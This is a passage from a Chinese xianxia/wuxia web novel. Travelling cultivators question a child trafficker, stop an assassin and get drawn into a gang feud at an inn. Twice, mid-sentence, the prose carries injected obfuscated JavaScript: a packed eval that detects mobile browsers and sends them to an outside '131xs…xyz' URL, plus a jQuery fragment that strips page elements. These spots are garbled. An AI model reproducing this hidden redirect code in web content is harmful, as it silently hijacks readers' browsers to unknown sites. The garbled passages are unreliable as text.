不知是不是先前与慕惊弦的灵脉建立了联系的缘故,周遭的淡淡灵气竟缓缓向某个方向流泻了过去,而体内的灵气与外界相感相应,像是产生了一种奇特的指引,要让她往那个方向去。 她欢喜地笑道:“我好像知道了。” 沈临澄抬头:“什么?知道你那个挂名夫君去哪了吗?” “是的。” 沈临澄站起身,思索道:“我听说若是经常双修,二人的灵脉便会建立起某种羁绊,从而能隐隐感应到对方的位置。你和他双修过了?” “嗯……算是有一次吧,但我俩没有经常双修啊!” “那我也不是很明白,走吧。” 二人顺着感应到了一扇破败的木门前面,看到了两个人。 其中一人跪坐在地,身体有些僵硬,脸上却溢满了劫后余生的喜悦。 另一人蹲在他身前,脸色很差。听到二人的脚步声,略微侧身,转头看向二人。 那跪坐在地的人看到沈临澄,惊喜不已:“你你你……你见我许久未归,特意来寻我,我实在——” 沈临澄却皱眉打断了他:“闭嘴。” 而后她看向慕惊弦:“怎么是你?” 崔羽落看看沈临澄,又看看慕惊弦,有些困惑:“你俩……认识?” 慕惊弦沉默片刻,平静道:“你认识我?” 15. 交易 沈临澄道:“是啊,我认识你,你不认识我,这很正常。” 崔羽落问道:“你怎么认识他的啊?” “他很有名啊,天之骄子,术法奇才,横苍长老的徒弟。我很久以前就听说过他的名字,见过他的画像,今天居然见到本人了,”沈临澄忽然想到了什么,“不对。” “什么不对?” 沈临澄瞪大眼睛看着他俩:“你所说的夫君,不会就是他吧?” “是……是的。” 沈临澄恍然大悟道:“仙门传言,仙魔大战后,他隐居山林,看来是真的了。” 慕惊弦波澜不惊道:“不然呢?难不成是被什么妖魔鬼怪抓了去么?” 崔羽落却有些疑惑。 果然,沈临澄问道:“这么说,仙魔大战中,受了重伤的,不是什么别的弟子,而就是你本人?” 慕惊弦顿了顿,缓缓站起身,神情像是有些不解:“对了,仙魔大战——是什么?” 崔羽落:“……” 沈临澄:“……” 三人让那男子走在前面,一同向客栈走去。 沈临澄问道:“你为什么要隐居?我觉得你师尊人挺好啊?” 慕惊弦答道:“是么?不过我隐居,和他人好不好,没有关系。” “那是因为什么?” “是因为我自己,人不太好了。” 沈临澄“啊”了一声,继续问:“为什么不太好了?玄昭的医修不是有很多吗?你身体有什么不适都可以找他们看看的啊。” “不是身体不适。” “可是……你看上去确实身体不太好的样子啊?” “是么?”慕惊弦顿了顿,“那就是我记错了,的确是身体不适。” 沈临澄噎了一下,转头问崔羽落:“你们这次来玄昭附近,是为了什么事啊?” 崔羽落答道:“听说玄昭的郑夫人失踪了,于是来附近看看情况。” “什么?她失踪了?” “你不知道么?” “是啊,我最近一直在外面。”沈临澄问道,“她失踪多久了?” “就这一两天吧。”崔羽落忽然有些疑惑,“才一两天而已,说不定她只是去周围转转了呢,为何就用上了‘失踪’这个词?” 慕惊弦插话道:“因为她,偶尔会疯疯癫癫的,所以若是没人知道她的行踪,她自己又不甚清醒,就容易很久都找不到她。” 崔羽落道:“原来如此,那我们得尽快寻找了。” 沈临澄补充道:“先前我在玄昭待了几天,只见过她一次,似乎是……她平常不怎么离开房间。不过既然我没有得到消息,那大概知道的人不多。” 慕惊弦凉凉地说道:“宋有林不会让很多人知道的。” 崔羽落道:“那是谁?” “玄昭的掌门。” 崔羽落“哦”了一声,而后想了想,说:“既然如此,我们今夜尽快把这个人解决了,然后稍作休息,明日便开始寻找吧。” 前方的男子听到“解决”二字,双目圆睁:“解解解……解决?” 几人到了“如家客栈”的牌子下,沈临澄忽然想到什么:“对了,我的糕点呢?” 男子答道:“没没没、没偷到。” 沈临澄瞪大眼睛:“没偷到?你这么久不回来,我还以为你把店里的东西全包起来了呢!” 崔羽落问道:“那你去做什么了?通风报信?” 慕惊弦问道:“你不是说你翻窗进去偷了一些么?” 男子看着三人,十分紧张地说:“我都交代,我都交代!我确实不是去偷糕点的!” 四人上了楼,在房间内坐下,男子在另外三人不甚友善的目光中,磕磕绊绊地交代了自己做过的事情。 “我叫张束,只是一个普通人,之前一直在饭店打杂。直到有一天,有一个吃饭的客人问我,想不想要更多的钱。” “我当然想啊,我家里还有母亲妻儿,打杂赚的钱太少了,又不稳定,光靠我一个人的话,我们几个人很容易吃了上顿没下顿。我内人虽会做一些针线活,但是我们的孩儿年幼贪玩,在家中做这些不太方便。” “但是天上哪有掉馅饼的事情呢,我就问他,是不是赌/钱之类的事情,这种事情我可不想干。然后那人说,不是那种,而是正当买卖。” 崔羽落大为震惊:“拐卖/人口,是正当买卖?” 张束叹了口气道:“姑娘,你们是修仙之人,对我们这边的情况了解得不多,何况我们也没有拐卖。” “没有拐卖?” “我们给他们的家里人给钱了,这样把他们买了下来,再卖去其他地方,整个过程也没有把人拐走骗走吧。” 崔羽落垂眼不语,继续听他讲述。 “有些人家可能生的孩子多,但又没什么钱,养不起那么多人。所以他们就会想着把人卖出去,自己还能得到一些钱,而且这笔钱可能比他们累死累活地操劳大半年能赚到的还多,这……也是你情我愿的啊。” 崔羽落听到沈临澄问了句“但那些被买卖的人呢”,仍然垂眼看着桌面,有些走神。 她忽然想:我在学校里被车撞死了,家里人应该能得到一大笔赔偿款吧? ——也不知道能赔多少钱,但肯定不少,够他们好好地过很久了。 她无声地笑了笑。 张束继续说:“那也没有办法啊,时也命也,要是投胎前能选,谁不想生在一个有钱有权的家里呢?他们没法选,我也没法选啊!” 沈临澄道:“你怎么就没法选了?你明明可以去干点别的事情来养活你的家人,而不是干这种事!” 慕惊弦看了看崔羽落,又转向张束:“那你说说你遇到那个人之后又发生了什么吧。” “然后我就去了呗,他让我做什么,我就做什么,”张束道,“他让我做的,就是去一些看上去孩子很多又没什么钱的家里,然后把人买下来,再去把人带到一个地方,这些做完了,我就再去找下一个能买的人。” 慕惊弦问道:“你做了很久?” “没有很久,不到一年。那个人和我说,我一个月少说得买下三十个,不然就不给我钱。而且就算达到了这个数字,给的钱也不多,只有在和我做同样事情的人里面,一个月做成的交易数排进前三,才能拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444891|168986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到更多的钱。但有时候跑很久也找不到买家,所以……几位仙君,我知道我有罪,但是能不能放过我,不要杀我啊!我还有一家老小在等着我养活呢!” 慕惊弦看了看他,脸上没什么表情:“那个人是谁?” “仙君,求求你,放过我吧!我要是告诉你了,那、那位肯定不会放过我和我的家人的!” 慕惊弦笑了笑:“那位?你的家人现在何处?只要你告诉我们,我们定会替你安顿好他们。” 沈临澄问道:“是啊!你知道那个人的名字么?他长什么模样?” “他、他……” 张束却结结巴巴,说不出口。 疾风乍起,许多支挟着杀机的箭矢破窗而入。 沈临澄抬手将箭矢尽数击落。但在另一个方向,却有一黑衣人骤然落地,手持长剑,向其余三人劈砍而来。 原本在发呆的崔羽落经此变数,顿时清醒。她余光扫见面色不佳的慕惊弦和一脸惊恐的张束,身形一晃,便已至来人后背空门。 但她并不是要趁此发动进攻。 她伸手握住放在一旁的刀柄,抽刀斜劈向那人颈侧。 但那人毫无反应,手中长剑直直刺向张束。竟是铁了心要灭口! 她撤刀的同时身形急旋,借此力道踹向此人侧腰。同时刀锋在空中悠然划过,落入她另一只手。 刀脱手而出,直击那将要落在张束胸口的剑锋。 与此同时,慕惊弦伸出一只手,于电光石火间点向剑身。 张束闭上了眼,预想中的刺痛却迟迟不到。他胆战心惊地睁眼,看到攻击者已被人踹到几丈远,而那柄剑被人击飞,落在房间另一侧。 崔羽落看向沈临澄那边,却见那些不知从何而来的射手已不见了踪影。兔起鹘落间,一切已尘埃落定。 她看向张束,正准备问些什么,却见他的身体发生了变化。 一股紫黑色的灵气倏然流转,下一瞬张束已消失不见。 “他还是被灭口了么?” 沈临澄沉吟道:“我觉得应该不是。应该是被人用什么方法瞬间移到了其它地方。” 崔羽落走向被踹飞的黑衣人,却见他唇舌微微一动。 她极快地伸手捏住了他的脸颊,笑道:“咬舌自尽?其实我见过很多了。” 沈临澄疑惑道:“见过很多?” 崔羽落用另一只手击晕了此人,回答道:“那些话本上不是总是会写,这种刺客会时刻在口中含着一些毒性猛烈的毒药,若是任务失败,便能立即自尽,这样就能免受拷打逼问之苦。” 沈临澄点点头:“原来如此,我小时候不爱念书,话本也不看。听你这么说,话本好像还挺有趣的,我之后也多看看去。” 二人回到桌前坐下,崔羽落才发现慕惊弦的袖口上有一片血迹。 “这是怎么弄的?” “你刚才误伤的。” “啊?那真是——” “不好意思”还未说出口,窗外传来一声凄厉的呼叫,但又像是被人捂住了嘴,叫声戛然而止。 崔羽落提起沾了血迹的刀:“走!路见不平拔刀相助!” 16. 江湖 沈临澄率先跃了下去。 崔羽落在窗户前悬崖勒马。 ——沈临澄有几年功力,她只是个普通人啊。 她转头看了一眼坐在桌边的慕惊弦:“你不一起么?” 慕惊弦站起身:“你想要我去么?” 崔羽落还没回答,慕惊弦已握住她的手腕,带着她从窗中跃了下去。 两人到了街上,却见四周空荡荡。忽然有一个细小的黑影从远处弹了过来,崔羽落定睛一看,发现是一粒小石子。 她向着石子飞来的地方行去,果然看到沈临澄在一个小巷内靠墙而立,她身边则是一个少女。 看到二人过来,那少女也转了过来看向二人。这时崔羽落才发现这少女十分眼熟,正是先前在那起火的客栈中,沈临澄易容成的那年轻女子! 崔羽落环视四周,发现并无旁人,但想起方才的惊叫声,心想着周围恐怕情况不妙,便用气声问道:“刚才是怎么回事?” 沈临澄同样用耳语的声音回答:“我也不知道。” 一旁的少女怯生生地说:“你们看——” 三人顺着她手指的方向看去,看到在不远处的树下,是一具血肉模糊的尸体。 崔羽落迅速扭回了脑袋,觉得头皮发麻,轻声问道:“就只有这个了吗?” 少女犹豫片刻,答道:“还有别的,你看那边——” 崔羽落深吸一口气:“算了,不是很想看。” 沈临澄低声问道:“这是怎么回事?除了那个客栈,难道这个镇子上的其它地方也闹鬼?” 慕惊弦低声插话道:“应该不是闹鬼,你们仔细看看那尸体,看上去像人为。” 崔羽落皱了皱眉:“人为?江湖仇杀?灭门惨案?” 慕惊弦摇了摇头:“这个我看不太出来。” 沈临澄则看向那少女:“不对啊,昨天不是让你走了吗,怎么又回到这里了?” 少女挠了挠头:“我爹娘把我卖了出去,我……” 崔羽落道:“你不愿回去了么?” 少女点点头,犹豫了片刻,又道:“嗯。但是我又不知道要去哪里,然后就偷偷跟着你们,到了这附近。” “那你白天在哪里?” “白天我在一个酒肆坐着,天黑之后他们就关门了,我便出来了。” 沈临澄问道:“为何不去客栈?先前我给你的盘缠……莫非是,被人偷走了?” 少女忙道:“没有没有,我只是——” 她的声音戛然而止。 与此同时,有一个雄壮男子的声音离四人越来越近,伴随着十几个人的脚步声与兵器碰撞声,气势汹汹地逼近几人。 “看看那边还有没有清龙帮的活口!” 崔羽落心道:果真是江湖仇杀。 脚步声更近了,少女攥着沈临澄的衣袖,神色十分紧张。 沈临澄压低声音道:“分头跑。” 随后拉着那少女,二人一齐顺着巷子离开,随后一个起落,两人的身影便消失在围墙之后。 但两人的脚步声吸引了那伙江湖人的注意,一声“那边”后,急促的脚步声直逼二人。 崔羽落看着不动如山的慕惊弦,压低声音问:“不跑么?” 慕惊弦低声答道:“身正不怕影子斜,君子动口不动手。” 几个壮汉已占据了二人的视线,其中一人手持朴刀,面容凶悍:“清龙帮的人?” 崔羽落答道:“不是。” 朴刀划过地面:“那你们在这里做什么?” 另一人前行一步:“说那么多废话做什么?大半夜的出现在这条街上,显然就是清龙帮的狗贼!” 慕惊弦低低笑了笑,平静道:“月黑风高,孤男寡女,你说我们在做什么?” 提刀的那人粗声粗气道:“做什么?” 慕惊弦一本正经道:“偷情。” 崔羽落瞥了他一眼,看向那男子,配合道:“确实如此。” 男子笑了笑,退后两步。 周围人也跟着退后了几步。 崔羽落正准备松一口气,那为首的男子却忽然提刀向前。刀光划过夜色,其上挟带的血腥味扑面而来。 她心下一惊,摇身闪向一侧,那刀锋堪堪自身边砸落地面。 慕惊弦的声音在身后响起:“这是何意?” 男子凶狠地盯着二人:“半夜偷情,还提着把带血的刀?怎么,你俩合伙把谁的情人砍死了?” 崔羽落答道:“是啊。” 男子道:“那你俩真是——” 又一刀劈面而来,崔羽落后退几步,避开了将要把自己劈成两半的大刀。 “真是什么?” “一对心狠手辣的狗男女。”男子站稳脚步,冷笑一声,“糊弄鬼呢。一起上,杀了他们!” 崔羽落扯了扯嘴角:“怎么办,我不想杀人啊。” 慕惊弦低声道:“那就不杀。” 崔羽落活动了一下手腕:“可是刀剑无眼——” 话音未落,已有几人执刃而上。崔羽落挥刀格挡下其中几柄剑,被挡下的几人均后退数步。 崔羽落心想:可是我没怎么用力啊? 慕惊弦的声音自远处响起:“高手过招,我等手无寸铁之人便不参与了。” 她恍然大悟。 ——前一日他俩跋涉几万步,活力值远超标准值,她现在处于开挂状态。 刀锋袭面而来,她并不挥刀迎击。而是屈膝矮身,灵巧地自来人臂膊下穿过,同时抬手成掌,于那人的后颈劈落。 那人失去意识,瘫倒在地。 一波未平一波又起,另一把裹挟着杀机的刀已然横扫而来,待那人压近,崔羽落忽然抬肘,猛然重击向来人胸口。 她在杀机中闪避,在刀光中出手,像一柄灵动而无匹的刀锋。 地上躺了十几个人,均为那伙气势汹汹的江湖人。 崔羽落握刀侧立,目光沉静。 还剩两人。 那两人却维持着起手式,不动不响,静静酝酿着攻势。 慕惊弦的声音再次自远处传来:“果真厉害。” 二人忽然动了。 崔羽落后退了半步。 下一瞬,两人几乎同时倒了地。 慕惊弦坐在远处死了人的那棵树上,两条腿一晃一晃。 崔羽落前行两步, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15449704|168986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拾起方才丢出去砸人的刀,走到那棵树下:“看戏呢?” 慕惊弦跳下树:“也……不算吧。” “那你一直坐着,可不就是看戏么?” “高手过招,乱插手容易被误伤。”慕惊弦顿了顿,“何况我身体虚弱,本就不适合与人打斗。” “你不是修炼之人么?可以用点……小法术把他们打晕过去啊?” “是么?方才情状危机,我过于紧张,未能想起。” “……”崔羽落挪开目光,却无意中瞥见树下那具尸体,忍不住皱了皱眉,转过了脸,“走吧,我们去找找她俩。” 二人并肩而行,慕惊弦问道:“你先前……学过武功?” “没有,除了之前给你演示的那套拳。” 慕惊弦不解道:“给我演示的那套拳?” “就是弓步冲拳的那个。” “哦。”慕惊弦沉默了片刻,“这套拳好用么?” “好用?”崔羽落瞪大眼睛,“我不知道啊,我也没有用这个跟人打过架呢。” “那你方才用的最后一招是什么?” 崔羽落回想了一下:“打晕最后一个人的那个?也不算什么招式,就是同时用两只手掌击对方的耳根。” 慕惊弦好奇道:“你从哪里学会的这一招?” 崔羽落答道:“话本。我小时候看过的一个话本上,里面一个很厉害的人,就用这招打晕了另一个也很厉害但不服他的人。” “那……那个也很厉害的人后来服他了么?” 崔羽落仔细想了想:“我记得……经过这么一下,好像是服了吧。” 慕惊弦偏头看着她:“那这个人先前为什么不服他?” 崔羽落组织了一下语言,解释道:“因为这个人很厉害,而且性格比较……爱憎分明?总之就是没有什么心眼,有什么想法就挂在脸上。而另一个人也很厉害,又一直比较……嗯,骄傲吧。但他俩又是同一个人的手下,时不时就能看见对方。这样的两个人,听上去就容易不太对付,是吧?” 慕惊弦思考了片刻,回道:“确实,两个相似又骄傲的人,确实容易不服对方。” “是啊,但他俩也不是那种很小心眼的人,所以一个人输给另一个人,也不会觉得特别难堪什么的,反而让这两个人熟悉了起来呢。” 慕惊弦默了默,问道:“那这两个人后来呢?帮着他们的主公,一起打下江山,一统天下了么?然后再封侯拜相,声名远扬?” 崔羽落叹了口气:“不是。那个更厉害的人,后来被坏人害了。万箭穿心而死,死在一片沼泽地里。他的妻儿还在家里等他回去呢。” “那确实很可惜。” 两人忽然陷入沉默。脚步声回荡在巷子里,有些寂寥。 拐过一个弯,沈临澄和那少女便在不远处。 看到了他们,沈临澄挥了挥手:“你们终于到了!我还以为你们被那些人抓住了,差点就要去找你们了呢。” 崔羽落向前走了两步,忽然发现慕惊弦没动。 她侧过头,却与他刚好对视。 慕惊弦看着她,轻声道:“被万箭穿心的那个人……不会是姓罗吧?” 17. 出手 崔羽落想了想:“好像是的。” 随后她有些惊讶地看着慕惊弦,语气很意外地说:“想不到你平常也会看这种话本啊。” “……是啊。” 沈临澄看着走近的二人道:“走吧,我们先去你们那个客栈。” 几人向方才的客栈走去。 崔羽落看向那少女:“你叫什么名字啊?” 少女回答道:“白渟。” “嗯……是亭亭玉立的亭么?” “不是,是旁边还有个三点水的渟。”少女解释道,“我最开始是那个字,但后来好像是我爹娘找了个算命的人看,说这个字不好,就换了个字。” “原来是这样啊。”崔羽落虽然不甚相信这些,但仍表示肯定。 “巧了不是,我爹找人来看我的生辰八字,说我命里缺水,所以叫这个名字。”沈临澄转向崔羽落,推测道,“你莫非是五行缺木?” 崔羽落摇了摇头:“没有,我……家里人随便取的。” 四人到了客栈门口,却发现原本闭着的大门已然大开,一股浓郁的血腥气从门中传了出来。 崔羽落皱了皱眉:“这……怎么我们离开不久,就成了这样?” 里面传来激烈的打斗声,其中夹杂了几句骂声。 “你们凌霄会的人当真丧心病狂!” “丧心病狂?是你们清龙帮的人羞辱我们在先!” 桌椅轰然倒地,像是被人用浑厚内力一掌震碎。 “羞辱?我们井水不犯河水,何谈刻意羞辱!” “我们总舵主惨死在你们的人手中,真是欺我凌霄会无人了!” “……” 崔羽落听着这些江湖恩怨,低声询问:“要不我们……绕路进去?” 沈临澄道:“走。” 她带着三人从另一个门进了客栈,轻车熟路地找到了老板的房间,找他定了一间房。 四人到了沈临澄定的那间房中,崔羽落问道:“姐姐,你看上去对这些很熟悉的样子。” 沈临澄答道:“是啊,江湖上有一条规矩,不知道你们是否听过。” “什么?” “江湖恩怨一般不波及到开店的,而且这些开客栈的人在面对这些江湖人,也知道不掺和,躲远点。但要是不小心看到了什么不该看的,也会被灭口。”沈临澄想了想,“不过,很多开店的人明着只是个普通人,实际上可能身份武功都不凡。” 崔羽落点了点头:“很晚了,我们也回房间了,早点休息。” 二人回到房间,关上门窗。崔羽落坐在床上,有些好奇地听着外面的声音,心道先前只在武侠小说里看到过江湖仇杀血洗客栈之类的,如今竟然身临其境了。 慕惊弦坐在地铺上,忽然问道:“你觉得有趣么?” “还行。”不假思索地回答完,崔羽落又改口道,“不,打打杀杀的,有什么有趣的。” “但是你常看的话本里,不就是这些东西么?” “话本和现实怎么能一样呢?可能原本不是很有趣的事情,被那些人添油加醋地一写,就变得十分有趣了。实际上一个人因为一个普通的原因杀了另一个人,话本里都能拐上八百个弯,写上大半本书的恩怨情仇爱恨缠绵。” “哦,那你先前说的那个,就是有人被万箭穿心的那个话本,你觉得它有趣么?” “那个啊,”崔羽落看着窗框,“是我很小的时候看的了,当时觉得很有趣。后来……后来没有再看过了,但是想起来还是觉得挺有趣的。” “不就是打打杀杀的么?有什么有趣的?” “打打杀杀?”崔羽落看着他道,“话本里又不只写打打杀杀,还有各种……斗智斗勇、侠骨柔情的东西,比如侠士相逢一见如故、路见不平出手相助。” 一连串踉踉跄跄的脚步声逐渐靠近房门,下一瞬,木门被猝然推开,闪进了一个浑身浴血的身影。 慕惊弦站起身,看着望向门口的崔羽落,低笑道:“坏了,如今路有不平,你可要出手相助呢?” 那人足下不稳,堪堪用武器支撑着身体,抬头看向二人。 崔羽落一惊。 ——居然是个满头白发的女子。 本着走一步算一步的原则,崔羽落扶着那人在桌边坐下,而后问道:“你是何人?” 那人将一口淤血吐在地上,缓缓道:“事已至此,也不瞒着二位了。我乃清龙帮四长老之一,前一日与十余帮众来到此地,其一是我们长途跋涉,且在此歇脚,稍作修整,其二是今夜还有一些帮众会到达此处与我们汇合。” 崔羽落忽然有些后悔。 她这次出门原本是为了与慕惊弦一同寻找郑夫人,如今贸然掺和进了江湖恩怨,若是只有她一人那也好说,但……她一行的还有其他人。倘若因此再被什么人盯上,那……又该如何是好? “不料凌霄会的人提前作了埋伏,在今夜到达的帮众来客栈的必经之路上施行截杀。不仅如此,还有一部分人提前到了客栈附近,在今夜将我们一行人重创。” 崔羽落问道:“他们为什么要这样做?先前我听……他们说凌霄会总舵主惨死在了你们的人手中?” 那人却“呸”了一声:“血口喷人。” 崔羽落又问道:“那——” 话音未落,木门被人从外劈开,又被人一掌击中,随后裹挟着凌厉的内力劈头盖脸地砸向崔羽落。 她本想闪避开,但余光瞥见坐在桌边形容狼狈的女子,便酝起劲力,以掌还击。 门板霎时变了轨迹,猝然调转方向,朝飞来的那边袭去。 但它没有击中谁。 原本位于门口的人已迈动步伐,挺剑向桌边二人突刺而来。 崔羽落心道一句“真是没完没了了”,便抬刀格挡。 两人均被相击的力道震退一步。 来人冷笑一声:“宁云,你也有今日。”随后又是一剑劈落。 崔羽落欲护宁云周全,并不躲避,而是挥刀上挑。而剑锋如行云流水,竟使她有些眼花缭乱。 刀剑相交,人影移动。就在此时,又有几人进了房间,手执兵器,气势汹汹地向宁云袭去。 崔羽落心道一声:这人还真有点麻烦。 然而眼前剑客和余光里的那些袭击者瞬间倒在了地上。 崔羽落垂下刀锋,看着一地神志不清的人,有些茫然。 宁云嗓音沙哑,缓缓道:“多谢二位。” 崔羽落看向一旁盘膝而坐的慕惊弦,见他偏过了头,轻咳了几声。 她转向宁云:“ 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他转身背对着宁云,抬手结印,一道低调的法咒便倏然隐入崔羽落体内。 崔羽落压低声音,疑惑道:“这是什么?” “一个符咒,你若是有危险,我便能知晓。” “就这样啊?” “我可以知道你在哪里,这样就能赶过去。” 崔羽落想了想,道:“要是能直接传送过来就更好了。” 慕惊弦回道:“其实是可以的,但是我现在灵脉有损,用不出来。” “喔,”崔羽落看了他一眼,向门口走去,“那我走了,你先睡吧。” 二人离开客栈,向着宁云所指的方向一路行去。 一路竟没有遇到拦截之人。 崔羽落看向不远处有些破败的凉亭,问道:“是这里了吧?” 身边人却没有回答。 她正要转头看向她,却觉宁云扶在她小臂上那只枯瘦的手蓦地一动,一股古怪的力道自手腕传入她的经脉,她竟发现自己体内的灵力运行滞涩了起来,似是经脉堵塞,灵力难行。 ——她只道不慎撞见了小说里的江湖仇杀,如今发现,自己又撞上了武侠小说中的“被扣了脉门”! 什么鬼运气。 但她转念一想,自己既有增益,那即使经脉阻塞,也不至于被她就地打死。 便奇异地放松了下去。 宁云原本浑浊疲惫的双眼忽而变得目光炯炯,她狠狠盯着崔羽落,咬牙切齿道:“你当我是傻——” 她的话语被骤然打断,随后她的身躯飞出了崔羽落的视野。 崔羽落心道:真是惊险又刺激。 她有些僵硬地转头,看到了落在远处,已然人事不知的宁云。 “呼”的一声,有人轻飘飘地落在她眼前,她的视野被一袭看不出原本颜色的破旧长衫占据。 她抬眼看见了来人。 是个陌生男子。 此刻,他正笑吟吟地看着崔羽落。 “姑娘,我见你骨骼清奇,不如做我的徒儿,我传你绝世武功,如何?” 18. 怨仇 崔羽落后退一步:“绝世武功?” 那男子笑道:“是啊,先前你在小巷与凌霄会的人打斗,我便知你虽未曾好好学过什么武功,但身形敏捷,出手果断,颇有天赋。” 崔羽落表情复杂,心想:怎么拒绝呢?总不能直接说我有挂吧。 那人很认真地看着她,继续道:“如今一看,姑娘果然是根骨不凡。虽然已经过了练武的最佳年纪,但凭借极佳的天赋,若能勤奋练武,定能在几年内成为顶尖高手。” 崔羽落在此人的炽热目光下,又后退了半步:“阁下是何人?” “噢,瞧我这脑子,见到姑娘太过激动,都忘记介绍自己了。我叫赵之闻,乃当今武林第二高手。姑娘尽管放心,我绝不是招摇撞骗的那种人。” “为何是……第二高手?” 莫非是第一的实力太过恐怖,其他人只能拼死拼活抢一抢第二的位置? 而且自称第二的说不定有好几个人。 就像国内的大学排名一样,五湖四海的人聚在一起,一自我介绍发现全是top3的学生。 赵之闻哈哈一笑:“高处不胜寒啊,与其自称第一,不如谦虚一些,说自己是第二,反正嘛,我称了第二,也没人敢称第一。” 崔羽落扯了扯嘴角,不知道说什么。 赵之闻叹了口气:“我之前一直觉得,这一身绝世武功,寻不到一个可以传下去的人,确是一件憾事。其实江湖上想要成为我徒儿的人有很多,但凡事讲求缘分,我和他们无缘,他们与我这一身武功也无缘。” 崔羽落认真道:“其实,不是前辈与他们无缘,而是前辈不愿与他们有师徒之缘。” “是啊,如今我见到了姑娘,终于觉得这一身武功能传下去了。” 崔羽落深吸一口气:“但是我已有家室,若是再与前辈结为师徒,怕是有些不便。” “无妨无妨,只要姑娘愿意,即使我二人不以师徒相称,我也可以传予你毕生所学。” “那……前辈的武功——” 不远处有一个沙哑的声音突然响起:“你要把《龙泉录》传给她吗?” 崔羽落转头,看到了坐起身的宁云,疑惑道:“那是什么?” 宁云起了身,冷笑几声道:“赵之闻,你不是自称大隐隐于市,只做世外高人,不管江湖事吗?你这又是在做什么?” 赵之闻“咦”了一声道:“我见她根骨不凡,寻思着我这一身武功终于能有个传人,怎么就‘这是在做什么’了?” 宁云指着崔羽落:“你可知此人是谁?” 崔羽落问道:“是谁?” 宁云瞪了她一眼,而后道:“此人在巷子里假扮我清龙帮弟子,又与凌霄会众人打斗,故意挑起争斗,居心叵测!” “嘶……”赵之闻眯了眯眼,“我方才恰好经过,据我所知,是凌霄会的人先动手的啊,她若是不还手,怕是不能站在这里了。至于假扮清龙帮弟子,我可以告诉你,并无此事。” 宁云抬起手上的刀:“别废话,那谁,你到一边去。赵之闻,未曾想到今日能在此遇到你,既然狭路相逢,那便来与我光明正大地一战。” 赵之闻看了看她:“狭路相逢?你我二人有何怨仇,为何要在此一战?” “是,阁下杀人无数,自然不会记得仇家有哪些。” “仇?” 宁云冷冷地看着他。 赵之闻盯着她的眼睛,忽然想到一个人:“宁子盈,是你什么人?” “小儿学艺不精,惨死在你剑下,今日必要你血债血偿。” “血债血偿?” 崔羽落有些紧张地看着二人,却发现宁云的面容发生了一些变化。 她枯瘦的颈上渐渐显出几条狰狞的脉络,如同苍老的树枝,凸出在她的脖颈上。 刀锋缓缓抬起,忽有凉风刮过,掀起她碎裂的袖子。 崔羽落看到她的手臂,不由一怔。 她的手臂上筋脉凸起,蜿蜒如山脉。但它们并非静止,而是随气息有节律地浮动,无形有质的力量随之酝酿,在她干瘦的躯体内潜滋暗长。 崔羽落心道:糟糕,她怕是服用了什么药物。 赵之闻眼中晦暗不明:“你就这样想杀我?” “是。” 话音刚落,宁云已持刀向前,身形迅捷如鹰。 但下一瞬,她已经倏然静止,方才的杀机仿佛不曾有过。 赵之闻用二指捏住了她的刀锋。 “你儿子当初来找我的时候,你可知他说了什么?” 宁云拧转刀刃,以刀刃中部压向赵之闻手臂。 赵之闻忽然松了手。刀锋却蓦地换了方向,在空中划出一道角度锋锐的弧线,砧向赵之闻脖颈。 赵之闻却没有躲避,而是任那刀刃落向他颈侧。 刀锋瞬间静默。 宁云身躯僵硬,竟是已被点了穴道。 她问道:“说了什么?” 赵之闻后退了一步:“他说,他想要成为第一高手,但他知道,若要成第一,先要问过我的剑。” 崔羽落呼出一口气。 赵之闻继续说:“我当时问他,是点到为止,还是不死不休,他选了第二种。他说,点到为止只是过招,不死不休才是比试。判断两人孰强孰弱,并非只看剑术的高超或是内力的强悍,还有些东西比这些重要得多。” 宁云僵硬地说:“什么东西?” 赵之闻答道:“决心。” 宁云低低骂了句“蠢货”,随后骤然出手,刀锋直取赵之闻心口。 赵之闻的血与宁云的血同时落在地上。但赵之闻只是伤了皮肉,宁云则是吐出一口鲜血,踉跄了几步方才站稳。 她手中刀已被赵之闻徒手击飞,“叮”的一声落在地上。 赵之闻道:“既是挑战,便要知晓失败的代价。你强行提升内功,待这段时间一过,必然会经脉受损……又是何苦。” 这时却起了风声,崔羽落循声望去,看到一个青年男子落在不远处。 他皱眉看着宁云:“宁长老,这是怎么回事?” 宁云扭头看到来人,竟又吐出一口血:“我还没问你呢!向浊,清龙帮与凌霄会几十年素来无事,为何你新任了总舵主,便出了这些破事?段泊川那厮前些日子死了,和我清龙帮有何干系?” 向浊拱手行李,低声道:“伤害贵帮之人,确是我们不对。我这几日不在附近,竟不知那些人擅自动手,是我管教不当。” 宁云冷笑道:“管教不当?阁下新上任不久,果然是日理万机。” 赵之闻忽而插话道:“段泊川死了,你们这两群人怎的就打了起来?清龙帮与凌霄会之前不是很和睦么?” 宁云道:“这你得问他,段泊川那厮死掉了,是他自己亏心事做多遭了报应,怎么就成了我清龙帮害得他惨死了?” 向浊答道:“我们寻到他的时候,已经是离世几天了,然后我们查看了周围环境,发现了清龙帮的印记。” 宁云反问道:“印记?” 崔羽落见气氛有些沉闷,便小心地插话道:“一个印记也不能说明就是清龙帮的人动的手啊。杀了人还留下自己印记的,大多是在示威。不知周围还有没有其它特殊的东西?” 向浊道:“大哥的尸体上有刀伤,但——” 宁云打断了他:“别说这些屁话了,你不如直接说哪里有刀伤吧。” 